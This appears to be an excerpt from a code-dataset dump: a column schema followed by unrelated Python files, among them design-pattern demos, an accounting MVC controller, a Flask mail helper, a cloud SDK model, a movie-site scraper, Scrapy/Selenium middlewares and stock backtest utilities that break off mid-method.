blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
3ca258376e89a578ed1bd7235c5e9becec8d9060
864c27d8156dfaefe989fde0b0df8cd4b4a60741
/facade/facade.py
5c085d569e3daee63a525f6f91955257bec22b96
[]
no_license
onesuper/design_patterns
5ada3ad72742eb4b51053cb506d6939cef7281ba
de19e4bf1434a69b55bf1bcb913166eeb59f99a0
refs/heads/master
2021-01-25T10:29:09.176503
2011-10-07T03:55:06
2011-10-07T03:55:06
2,530,402
2
0
null
null
null
null
UTF-8
Python
false
false
369
py
#!/usr/bin/python # Filename: facade.py import subSystem as s class Facade: def __init__(self): self.one = s.SubSystemOne() self.two = s.SubSystemTwo() self.three = s.SubSystemThree() def MethodA(self): print 'Method A' self.one.MethodOne() self.two.MethodTwo() def MethodB(self): print 'Method B' self.two.MethodTwo() self.three.MethodThree()
[ "onesuperclark@gmail.com" ]
onesuperclark@gmail.com
e6400fbae3a3dcee8a858c3925fc95b5bc7021d4
64764cbae8641d051c2e26c0c2283e8e626d88fb
/ecf/mvc/GLS070/__init__.py
b170437902651622e210dc9a701afc94b7c7e6d6
[]
no_license
jazlee/csp-accounting
eb801ce902170337121a6dbe2b1382be4089ecca
85f50f9d8defbf52e6c85f5c0fc0464101a01d03
refs/heads/master
2021-01-25T14:11:18.700456
2018-03-03T06:34:57
2018-03-03T06:34:57
123,666,202
0
0
null
null
null
null
UTF-8
Python
false
false
5,611
py
""" G/L Batch Numbering Management """ __author__ = 'Jaimy Azle' __version__ = '1.0' __copyright__ = 'Copyright (c) 2008 Jaimy Azle' from mvcsvc import * from elixir import * import datetime as dt import sqlalchemy as sa from validators import * from tbl import GLBCNO class GLS070(MVCController): """ G/L Batch Numbering Management """ _description = 'G/L Batch Numbering Management' _supported_functions = (MVCFuncNew, MVCFuncOpen, MVCFuncShow, MVCFuncCopy, MVCFuncDelete) GLBCNOID = MVCField(MVCTypeList + MVCTypeField, String(3), label='Batch Code', charcase=ecUpperCase) GLBCNONM = MVCField(MVCTypeList + MVCTypeField, String(32), label='Description') GLBCMINO = MVCField(MVCTypeList + MVCTypeField, Integer(), label='Start From') GLBCMXNO = MVCField(MVCTypeList + MVCTypeField, Integer(), label='Max. No. Accepted') GLBCLSNO = MVCField(MVCTypeList + MVCTypeField, String(6), label='Last No. Used', enabled=False) def openView(self, mvcsession): q = GLBCNO.query q = q.order_by(sa.asc(GLBCNO.GLBCNOID)) objs = q.all() for obj in objs: mvcsession.listDataset.Append() mvcsession.listDataset.SetFieldValue('GLBCNOID', obj.GLBCNOID) mvcsession.listDataset.SetFieldValue('GLBCNONM', obj.GLBCNONM) mvcsession.listDataset.SetFieldValue('GLBCMINO', obj.GLBCMINO) mvcsession.listDataset.SetFieldValue('GLBCMXNO', obj.GLBCMXNO) mvcsession.listDataset.SetFieldValue('GLBCLSNO', '%.6d' % obj.GLBCLSNO) mvcsession.listDataset.Post() return mvcsession def retrieveData(self, mvcsession): fields = mvcsession.listDataset.FieldsAsDict() if mvcsession.execType == MVCExecAppend: mvcsession.entryDataset.Append() mvcsession.entryDataset.SetFieldValue('GLBCMINO', 0) mvcsession.entryDataset.SetFieldValue('GLBCMXNO', 999999) mvcsession.entryDataset.SetFieldValue('GLBCLSNO', '%.6d' % 0) mvcsession.entryDataset.Post() if mvcsession.execType in (MVCExecShow, MVCExecEdit, MVCExecDelete, MVCExecCopy): q = GLBCNO.query q = q.filter_by(GLBCNOID = fields['GLBCNOID']) obj = q.first() if (mvcsession.execType == MVCExecCopy): mvcsession.entryDataset.CopyFromORM( 'GLBCNONM;GLBCMINO;GLBCMXNO', 'GLBCNONM;GLBCMINO;GLBCMXNO', obj) mvcsession.entryDataset.Edit() mvcsession.entryDataset.SetFieldValue('GLBCLSNO', '%.6d' % obj.GLBCLSNO) mvcsession.entryDataset.Post() else: mvcsession.entryDataset.CopyFromORM( 'GLBCNOID;GLBCNONM;GLBCMINO;GLBCMXNO', 'GLBCNOID;GLBCNONM;GLBCMINO;GLBCMXNO', obj) mvcsession.entryDataset.Edit() mvcsession.entryDataset.SetFieldValue('GLBCLSNO', '%.6d' % obj.GLBCLSNO) mvcsession.entryDataset.Post() if mvcsession.execType == MVCExecEdit: mvcsession.fieldDefs.GLBCNOID.enabled = False return mvcsession def postData(self, mvcsession): fields = mvcsession.entryDataset.FieldsAsDict() validators.NotEmpty(messages={'empty': 'Batch code must not empty'}).to_python(fields['GLBCNOID']) validators.NotEmpty(messages={'empty': 'Batch code name must not empty'}).to_python(fields['GLBCNONM']) if (fields['GLBCMINO'] is None) or (fields['GLBCMINO'] < 0): raise Exception('Minimum batch no must not empty or negative value, at least should be assign with 0') if (fields['GLBCMXNO'] is None) or (fields['GLBCMXNO'] > 999999): raise Exception('Minimum batch no must not empty or larger than 999999') q = GLBCNO.query q = q.filter_by(GLBCNOID = fields['GLBCNOID']) obj = q.first() td = dt.datetime.now() if (mvcsession.execType in (MVCExecAppend, MVCExecCopy)): if obj: raise Exception('Duplicate record found') rec = GLBCNO( GLBCNOID = fields['GLBCNOID'], GLBCNONM = fields['GLBCNONM'], GLBCMINO = fields['GLBCMINO'], GLBCMXNO = fields['GLBCMXNO'], GLBCLSNO = fields['GLBCMINO'], GLBCAUDT = td.date().tointeger(), GLBCAUTM = td.time().tointeger(), GLBCAUUS = mvcsession.cookies['user_name'].encode('utf8') ) if not session.transaction_started(): session.begin() try: session.save(rec) session.commit() except: session.rollback() session.expunge(rec) raise if (mvcsession.execType == MVCExecEdit): if not obj: raise Exception('Record could not be found') if fields['GLBCMINO'] > obj.GLBCLSNO: raise Exception('Starting Batch No must be smaller or equal with last batch no used') if fields['GLBCMXNO'] < obj.GLBCLSNO: raise Exception('Starting Batch No must be greater or equal with last batch no used') mvcsession.entryDataset.CopyIntoORM( 'GLBCNONM;GLBCMINO;GLBCMXNO', 'GLBCNONM;GLBCMINO;GLBCMXNO', obj) obj.GLBCAUDT = td.date().tointeger() obj.GLBCAUTM = td.time().tointeger() obj.GLBCAUUS = mvcsession.cookies['user_name'].encode('utf8') if not session.transaction_started(): session.begin() try: session.update(obj) session.commit() except: session.rollback() session.expunge(obj) raise if (mvcsession.execType == MVCExecDelete): if not obj: raise Exception('Record could not be found') if not session.transaction_started(): session.begin() try: session.delete(obj) session.commit() except: session.rollback() raise return mvcsession
[ "jaimy@usg.co.id" ]
jaimy@usg.co.id
b032448cdd45f3bca30ed5edd475db6b2a16818f
0b3ada069436097d3ed5694d069094975983e692
/app/email.py
8dba3196785683a634748d35efd3f17d5571fc83
[ "MIT" ]
permissive
AugustineOchieng/blogger
3329d866ccb25916c814607354ee12b6ca02a192
d8205ddb6cd17c654003b49ff876002fb65b3449
refs/heads/master
2020-05-17T19:24:48.248542
2019-05-01T11:21:50
2019-05-01T11:21:50
183,913,837
0
0
null
null
null
null
UTF-8
Python
false
false
428
py
from flask_mail import Message from flask import render_template from . import mail def mail_message(subject, template, to, **kwargs): subject_pref = "Bloggeropolis!" sender_email = "gustin9tis@gmail.com" email = Message(subject, sender=sender_email, recipients=[to]) email.body = render_template(template + ".txt", **kwargs) email.html = render_template(template + ".html", **kwargs) mail.send(email)
[ "gusochieng@gmail.com" ]
gusochieng@gmail.com
780f2cd79121de44c0705d7240a4bfc0a6922918
a2d36e471988e0fae32e9a9d559204ebb065ab7f
/huaweicloud-sdk-apig/huaweicloudsdkapig/v2/model/check_app_v2_response.py
1ff24a04b5f76cf87a8d8039729f21a18cfd6ffe
[ "Apache-2.0" ]
permissive
zhouxy666/huaweicloud-sdk-python-v3
4d878a90b8e003875fc803a61414788e5e4c2c34
cc6f10a53205be4cb111d3ecfef8135ea804fa15
refs/heads/master
2023-09-02T07:41:12.605394
2021-11-12T03:20:11
2021-11-12T03:20:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,181
py
# coding: utf-8 import re import six from huaweicloudsdkcore.sdk_response import SdkResponse from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class CheckAppV2Response(SdkResponse): """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ sensitive_list = [] openapi_types = { 'name': 'str', 'remark': 'str', 'id': 'str' } attribute_map = { 'name': 'name', 'remark': 'remark', 'id': 'id' } def __init__(self, name=None, remark=None, id=None): """CheckAppV2Response - a model defined in huaweicloud sdk""" super(CheckAppV2Response, self).__init__() self._name = None self._remark = None self._id = None self.discriminator = None if name is not None: self.name = name if remark is not None: self.remark = remark if id is not None: self.id = id @property def name(self): """Gets the name of this CheckAppV2Response. 名称 :return: The name of this CheckAppV2Response. :rtype: str """ return self._name @name.setter def name(self, name): """Sets the name of this CheckAppV2Response. 名称 :param name: The name of this CheckAppV2Response. :type: str """ self._name = name @property def remark(self): """Gets the remark of this CheckAppV2Response. 描述 :return: The remark of this CheckAppV2Response. :rtype: str """ return self._remark @remark.setter def remark(self, remark): """Sets the remark of this CheckAppV2Response. 描述 :param remark: The remark of this CheckAppV2Response. :type: str """ self._remark = remark @property def id(self): """Gets the id of this CheckAppV2Response. 编号 :return: The id of this CheckAppV2Response. :rtype: str """ return self._id @id.setter def id(self, id): """Sets the id of this CheckAppV2Response. 编号 :param id: The id of this CheckAppV2Response. :type: str """ self._id = id def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: if attr in self.sensitive_list: result[attr] = "****" else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" import simplejson as json if six.PY2: import sys reload(sys) sys.setdefaultencoding("utf-8") return json.dumps(sanitize_for_serialization(self), ensure_ascii=False) def __repr__(self): """For `print`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, CheckAppV2Response): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
[ "hwcloudsdk@huawei.com" ]
hwcloudsdk@huawei.com
8f53597e0879018fbd6eb1c9bbbd5c80ee3b4989
27691e5ef8e49fb29189b01dd76a1dc3720e7ae8
/AC/ABS/abc085/b.py
6c924fa9935b9ef29842e2cd9b52efdcf3707870
[]
no_license
oshou/procon
61e5f5bc819e0fe5ab29749fc2f894fe6f3b1d07
3d000c64b5917c65b51ed7da5b90cb79892d5909
refs/heads/master
2023-05-10T23:56:50.861468
2021-09-23T06:07:29
2021-09-23T06:07:29
116,886,484
1
0
null
2023-05-05T02:28:41
2018-01-10T00:21:38
Go
UTF-8
Python
false
false
101
py
n = int(input()) arr = [] for i in range(n): arr.append(int(input())) s = set(arr) print(len(s))
[ "adf1985adf@gmail.com" ]
adf1985adf@gmail.com
606917a953a5ba9bd05e5c654c44e55c2a271996
39fe41a33c00ea6dc8e04c61842c3764fdd07ff1
/DesignPatterns/facade.py
68b49f8243be5c700fa4b1cd862d024366b7471a
[]
no_license
playbar/pylearn
f9639ffa1848a9db2aba52977de6c7167828b317
8bcd1b5a043cb19cde1631947eb128d9c05c259d
refs/heads/master
2021-06-12T01:51:33.480049
2021-03-31T12:16:14
2021-03-31T12:16:14
147,980,595
1
0
null
null
null
null
UTF-8
Python
false
false
824
py
#!/usr/bin/env python # encoding: utf-8 """ 外观模式(门面模式) 为子系统中的一组接口提供一个一致的界面. 定义了一个高层接口, 是的这一子系统更加容易使用 - 统一接口人 - 减少依赖 """ class SystemA(object): def call_a(self): print "call a" class SystemB(object): def call_b(self): print "call b" class SystemC(object): def call_c(self): print "call c" class Facade(object): def __init__(self): self.sys_a = SystemA() self.sys_b = SystemB() self.sys_c = SystemC() def action_a(self): self.sys_a.call_a() self.sys_b.call_b() def action_b(self): self.sys_b.call_b() self.sys_c.call_c() if __name__ == '__main__': facade = Facade() facade.action_a()
[ "hgl868@126.com" ]
hgl868@126.com
9ceb1b638334a728375e941ce1e636ec41bd9100
353def93fa77384ee3a5e3de98cfed318c480634
/.history/week01/homework01/gettop10frommaoyam01_20200626151530.py
77640fcb8bd12bc2890a662ba05e9850d148ab86
[]
no_license
ydbB/Python001-class01
d680abc3ea1ccaeb610751e3488421417d381156
ad80037ccfc68d39125fa94d2747ab7394ac1be8
refs/heads/master
2022-11-25T11:27:45.077139
2020-07-19T12:35:12
2020-07-19T12:35:12
272,783,233
0
0
null
2020-06-16T18:28:15
2020-06-16T18:28:15
null
UTF-8
Python
false
false
3,018
py
# 使用requests,bs4库,爬取猫眼电影top10的电影名称、电影类型、上映时间,并以utf-8的字符集保存到csv文件中 import requests from bs4 import BeautifulSoup as bs import re import pandas as pd maoyanUrl = "https://maoyan.com/board/4"; header = { 'Content-Type': 'text/plain; charset=UTF-8', 'Cookie' : '__mta=251934006.1593072991075.1593140975947.1593145816387.21; uuid_n_v=v1; uuid=2395D3F0B6BC11EA9F28E30FF5FFF73C9A16AE2FA53A448DA75AEAA9D715CB59; _csrf=8557626db9b655cf9050ae7e5b2aab69278c8061c21eca95e1c3cf2130b0b64c; _lxsdk_cuid=172ea8cb247c8-0a73066b1c0a8b-4353760-100200-172ea8cb248c8; _lxsdk=2395D3F0B6BC11EA9F28E30FF5FFF73C9A16AE2FA53A448DA75AEAA9D715CB59; mojo-uuid=c457eacb7c1eb59d3d2f6c1f8d75b9c9; Hm_lvt_703e94591e87be68cc8da0da7cbd0be2=1593072989,1593073002; _lx_utm=utm_source%3Dgoogle%26utm_medium%3Dorganic; __mta=251934006.1593072991075.1593140975947.1593145813576.21; Hm_lpvt_703e94591e87be68cc8da0da7cbd0be2=1593145819; _lxsdk_s=172ef3adc93-67a-f25-f7b%7C%7C1', # 'Host' : 'http://www.baidu.com', 'Origin': 'https://maoyan.com', 'Referer': 'https://maoyan.com/board/4', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36', } def get_urls(url, headers): main_url = 'https://maoyan.com' response = requests.get(url,headers=header) bs_info = bs(response.text,"html.parser") films_url = [] for tag in bs_info.find_all('div',attrs={'class':''}): # for tag_p in tag.find_all('a',href=re.compile('/films/')) : # 获取top10电影详情页链接 # films_url.append(main_url + tag_p.get('href')) for ts in tag.find_all('dd',): print(ts) urls = set(films_url) return urls import pandas # 获取详情页 def get_page_info(urls,header): films_content = [] for url in urls: content = get_page_brief(url,header) #print(content) films_content.append(content) return films_content # 获取单个电影的详情信息 def get_page_brief(url,header): response = requests.get(url, headers=header) bs_info = bs(response.text,'html.parser') atag = bs_info.find('div',attrs={'class':'banner'}) film_name = atag.find('h1').text +" "+ atag.find('div',attrs = {'class' : 'ename ellipsis'}).text film_type = "" for type in atag.find_all('a',attrs={'target':'_blank'}): film_type = film_type + type.text tags = atag.find_all('li') online_time = tags[-1].text brief = [film_name,film_type,online_time] return brief # 保存movie信息 def save_movies(movies): print(movies) top10 = pd.DataFrame(data=movies) top10.to_csv('./week01/homework01/top10.csv',encoding='utf-8',index=False,header=False) print('finish') def main(): urls = get_urls(maoyanUrl,header) print(urls) # movies = get_page_info(urls,header) # save_movies(movies) if __name__ == '__main__': main()
[ "31039587+ydbB@users.noreply.github.com" ]
31039587+ydbB@users.noreply.github.com
a7cd909b8acad3aa28bf06cf61051e2901dced37
ef441fc5fc3e463d5d80a6b14965cccbf720cc09
/new_stock/myscrapy/myscrapy/middlewares.py
cc2a4ba364e499eec3054784d03b6df70418a663
[]
no_license
reinhardtken/py-code
25de61b81f81900da2fe0be3088fbfb70746cb99
bf190df1a08e3be0f0862e808e0bdaeb4fabe96e
refs/heads/master
2022-06-21T21:28:14.883822
2022-06-11T12:10:38
2022-06-11T12:10:38
129,590,127
0
0
null
null
null
null
UTF-8
Python
false
false
10,976
py
# -*- coding: utf-8 -*- # Define here the models for your spider middleware # # See documentation in: # https://doc.scrapy.org/en/latest/topics/spider-middleware.html import random from scrapy import signals from selenium import webdriver from selenium.common.exceptions import TimeoutException from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from scrapy.http import HtmlResponse from logging import getLogger class MyscrapySpiderMiddleware(object): # Not all methods need to be defined. If a method is not defined, # scrapy acts as if the spider middleware does not modify the # passed objects. @classmethod def from_crawler(cls, crawler): # This method is used by Scrapy to create your spiders. s = cls() crawler.signals.connect(s.spider_opened, signal=signals.spider_opened) return s def process_spider_input(self, response, spider): # Called for each response that goes through the spider # middleware and into the spider. # Should return None or raise an exception. return None def process_spider_output(self, response, result, spider): # Called with the results returned from the Spider, after # it has processed the response. # Must return an iterable of Request, dict or Item objects. for i in result: yield i def process_spider_exception(self, response, exception, spider): # Called when a spider or process_spider_input() method # (from other spider middleware) raises an exception. # Should return either None or an iterable of Response, dict # or Item objects. pass def process_start_requests(self, start_requests, spider): # Called with the start requests of the spider, and works # similarly to the process_spider_output() method, except # that it doesn’t have a response associated. # Must return only requests (not items). for r in start_requests: yield r def spider_opened(self, spider): spider.logger.info('Spider opened: %s' % spider.name) class MyscrapyDownloaderMiddleware(object): # Not all methods need to be defined. If a method is not defined, # scrapy acts as if the downloader middleware does not modify the # passed objects. @classmethod def from_crawler(cls, crawler): # This method is used by Scrapy to create your spiders. s = cls() crawler.signals.connect(s.spider_opened, signal=signals.spider_opened) return s def process_request(self, request, spider): # Called for each request that goes through the downloader # middleware. # Must either: # - return None: continue processing this request # - or return a Response object # - or return a Request object # - or raise IgnoreRequest: process_exception() methods of # installed downloader middleware will be called return None def process_response(self, request, response, spider): # Called with the response returned from the downloader. # Must either; # - return a Response object # - return a Request object # - or raise IgnoreRequest return response def process_exception(self, request, exception, spider): # Called when a download handler or a process_request() # (from other downloader middleware) raises an exception. # Must either: # - return None: continue processing this exception # - return a Response object: stops process_exception() chain # - return a Request object: stops process_exception() chain pass def spider_opened(self, spider): spider.logger.info('Spider opened: %s' % spider.name) class HeadAndUADownloaderMiddleware(object): # Not all methods need to be defined. If a method is not defined, # scrapy acts as if the downloader middleware does not modify the # passed objects. @classmethod def from_crawler(cls, crawler): # This method is used by Scrapy to create your spiders. s = cls() crawler.signals.connect(s.spider_opened, signal=signals.spider_opened) return s def process_request(self, request, spider): # Called for each request that goes through the downloader # middleware. # Must either: # - return None: continue processing this request # - or return a Response object # - or return a Request object # - or raise IgnoreRequest: process_exception() methods of # installed downloader middleware will be called # ua = random.choice(self.user_agent_list) # if ua: # # request.headers.setdefault('User-Agent', ua) # request.headers['User-Agent'] = ua for k, v in spider.headers.items(): request.headers[k] = v return None def process_response(self, request, response, spider): # Called with the response returned from the downloader. # Must either; # - return a Response object # - return a Request object # - or raise IgnoreRequest return response def process_exception(self, request, exception, spider): # Called when a download handler or a process_request() # (from other downloader middleware) raises an exception. # Must either: # - return None: continue processing this exception # - return a Response object: stops process_exception() chain # - return a Request object: stops process_exception() chain pass def spider_opened(self, spider): spider.logger.info('Spider opened: %s' % spider.name) user_agent_list = [ \ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1" \ "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", \ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", \ "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6", \ "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1", \ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", \ "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5", \ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", \ "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", \ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", \ "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", \ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", \ "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", \ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", \ "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", \ "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3", \ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24", \ "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24" ] ################################################################### class SeleniumMiddleware(): def __init__(self, timeout=None, service_args=[], executable_path=None): self.logger = getLogger(__name__) self.timeout = timeout self.executable_path = executable_path self.timeoutCounter = 0 self.innerInit() def __del__(self): self.innerDestroy() def innerInit(self): # headless options = webdriver.ChromeOptions() options.add_argument('headless') prefs = { 'profile.default_content_setting_values': { 'images': 2 } } options.add_experimental_option('prefs', prefs) #try: self.browser = webdriver.Chrome(executable_path=self.executable_path, chrome_options=options) # self.browser = webdriver.PhantomJS(executable_path=executable_path, service_args=service_args) self.browser.set_window_size(1400, 700) self.browser.set_page_load_timeout(self.timeout) # self.wait = WebDriverWait(self.browser, self.timeout) #except Exception as e: #print(e) pass def innerDestroy(self): try: if self.browser is not None: self.browser.close() except Exception as e: print(e) pass def waitLogic(self, spider): # url = None # for i in range(3): # self.browser.execute_script("window.scrollTo(0, document.body.scrollHeight);") # wait = WebDriverWait(self.browser, 2) # try: # url = wait.until(EC.presence_of_element_located((By.XPATH, spider.xpath['anchor']))) # if url is not None: # break # except Exception as e: # print(e) # else: # self.logger.warning('SeleniumMiddleware wait failed!!! %s'%(self.browser.current_url)) pass def process_request(self, request, spider): """ 用PhantomJS抓取页面 :param request: Request对象 :param spider: Spider对象 :return: HtmlResponse """ self.logger.debug('ChromeDriver is Starting') if self.timeoutCounter >= 3: self.timeoutCounter = 0 self.innerDestroy() self.innerInit() try: self.browser.get(request.url) self.waitLogic(spider) return HtmlResponse(url=request.url, body=self.browser.page_source, request=request, encoding='utf-8', status=200) except TimeoutException as e: print(e) self.logger.warning('TimeoutException: %s' % str(e)) self.timeoutCounter += 1 return HtmlResponse(url=request.url, status=500, request=request) except Exception as e: print(e) self.logger.warning('Exception: %s' % str(e)) return HtmlResponse(url=request.url, status=501, request=request) @classmethod def from_crawler(cls, crawler): return cls(timeout=crawler.settings.get('SELENIUM_TIMEOUT'), #service_args=crawler.settings.get('PHANTOMJS_SERVICE_ARGS'), executable_path=crawler.settings.get('CHROME_DRIVER_PATH'))
[ "reinhardtken@hotmail.com" ]
reinhardtken@hotmail.com
1fa02ac0c2bf7442c00f052fc27464b840eb6b64
202bb7c5e37d3f117315e8bba3bd21e84b48fe6b
/alpha/WHSTINKER13.py
9d8847b1a3a0c793b00743c125429e1d23b47f70
[]
no_license
haishuowang/work_whs
897cd10a65035191e702811ed650061f7109b9fa
b6a17aefc5905ad9c11dba4d745591ed92b1e386
refs/heads/master
2020-07-03T10:30:14.231858
2020-06-09T08:47:18
2020-06-09T08:47:18
201,877,822
1
2
null
null
null
null
UTF-8
Python
false
false
39,569
py
import numpy as np import pandas as pd import os import sys from itertools import product, permutations, combinations from datetime import datetime import time import matplotlib.pyplot as plt from collections import OrderedDict import sys sys.path.append("/mnt/mfs/LIB_ROOT") import open_lib.shared_paths.path as pt from open_lib.shared_tools import send_email def plot_send_result(pnl_df, sharpe_ratio, subject, text=''): figure_save_path = os.path.join('/mnt/mfs/dat_whs', 'tmp_figure') plt.figure(figsize=[16, 8]) plt.plot(pnl_df.index, pnl_df.cumsum(), label='sharpe_ratio={}'.format(sharpe_ratio)) plt.grid() plt.legend() plt.savefig(os.path.join(figure_save_path, '{}.png'.format(subject))) plt.close() to = ['whs@yingpei.com'] filepath = [os.path.join(figure_save_path, '{}.png'.format(subject))] send_email.send_email(text, to, filepath, subject) class BackTest: @staticmethod def AZ_Load_csv(target_path, index_time_type=True): if index_time_type: target_df = pd.read_table(target_path, sep='|', index_col=0, low_memory=False, parse_dates=True) else: target_df = pd.read_table(target_path, sep='|', index_col=0, low_memory=False) return target_df @staticmethod def AZ_Catch_error(func): def _deco(*args, **kwargs): try: ret = func(*args, **kwargs) except: ret = sys.exc_info() print(ret[0], ":", ret[1]) return ret return _deco @staticmethod def AZ_Time_cost(func): t1 = time.time() def _deco(*args, **kwargs): ret = func(*args, **kwargs) return ret t2 = time.time() print(f'cost_time: {t2-t1}') return _deco @staticmethod def AZ_Sharpe_y(pnl_df): return round((np.sqrt(250) * pnl_df.mean()) / pnl_df.std(), 4) @staticmethod def AZ_MaxDrawdown(asset_df): return asset_df - np.maximum.accumulate(asset_df) def AZ_Col_zscore(self, df, n, cap=None, min_periods=1): df_mean = self.AZ_Rolling_mean(df, n, min_periods=min_periods) df_std = df.rolling(window=n, min_periods=min_periods).std() target = (df - df_mean) / df_std if cap is not None: target[target > cap] = cap target[target < -cap] = -cap return target @staticmethod def AZ_Row_zscore(df, cap=None): df_mean = df.mean(axis=1) df_std = df.std(axis=1) target = df.sub(df_mean, axis=0).div(df_std, axis=0) if cap is not None: target[target > cap] = cap target[target < -cap] = -cap return target @staticmethod def AZ_Rolling(df, n, min_periods=1): return df.rolling(window=n, min_periods=min_periods) @staticmethod def AZ_Rolling_mean(df, n, min_periods=1): target = df.rolling(window=n, min_periods=min_periods).mean() target.iloc[:n - 1] = np.nan return target @staticmethod def AZ_Rolling_sharpe(pnl_df, roll_year=1, year_len=250, min_periods=1, cut_point_list=None, output=False): if cut_point_list is None: cut_point_list = [0.05, 0.33, 0.5, 0.66, 0.95] rolling_sharpe = pnl_df.rolling(int(roll_year * year_len), min_periods=min_periods) \ .apply(lambda x: np.sqrt(year_len) * x.mean() / x.std(), raw=True) rolling_sharpe.iloc[:int(roll_year * year_len) - 1] = np.nan cut_sharpe = rolling_sharpe.quantile(cut_point_list) if output: return rolling_sharpe, cut_sharpe.round(4) else: return cut_sharpe.round(4) @staticmethod def AZ_Pot(pos_df, asset_last): """ 计算 pnl/turover*10000的值,衡量cost的影响 :param pos_df: 仓位信息 :param asset_last: 最后一天的收益 :return: """ trade_times = pos_df.diff().abs().sum().sum() if trade_times == 0: return 0 else: pot = asset_last / trade_times * 10000 return round(pot, 2) @staticmethod def AZ_Normal_IC(signal, pct_n, min_valids=None, lag=0): signal = signal.shift(lag) signal = signal.replace(0, np.nan) corr_df = signal.corrwith(pct_n, axis=1).dropna() if min_valids is not None: signal_valid = signal.count(axis=1) signal_valid[signal_valid < min_valids] = np.nan signal_valid[signal_valid >= min_valids] = 1 corr_signal = corr_df * signal_valid else: corr_signal = corr_df return round(corr_signal, 6) def AZ_Normal_IR(self, signal, pct_n, min_valids=None, lag=0): corr_signal = self.AZ_Normal_IC(signal, pct_n, min_valids, lag) ic_mean = corr_signal.mean() ic_std = corr_signal.std() ir = ic_mean / ic_std return ir, corr_signal @staticmethod def AZ_Leverage_ratio(asset_df): """ 返回250天的return/(负的 一个月的return) :param asset_df: :return: """ asset_20 = asset_df - asset_df.shift(20) asset_250 = asset_df - asset_df.shift(250) if asset_250.mean() > 0: return asset_250.mean() / (-asset_20.min()) else: return asset_250.mean() / (-asset_20.max()) @staticmethod def AZ_Locked_date_deal(position_df, locked_df): """ 处理回测中停牌,涨停等 仓位需要锁死的情况 :param position_df:仓位信息 :param locked_df:停牌 涨跌停等不能交易信息(能交易记为1, 不能记为nan) :return: """ position_df_adj = (position_df * locked_df).dropna(how='all', axis=0) \ 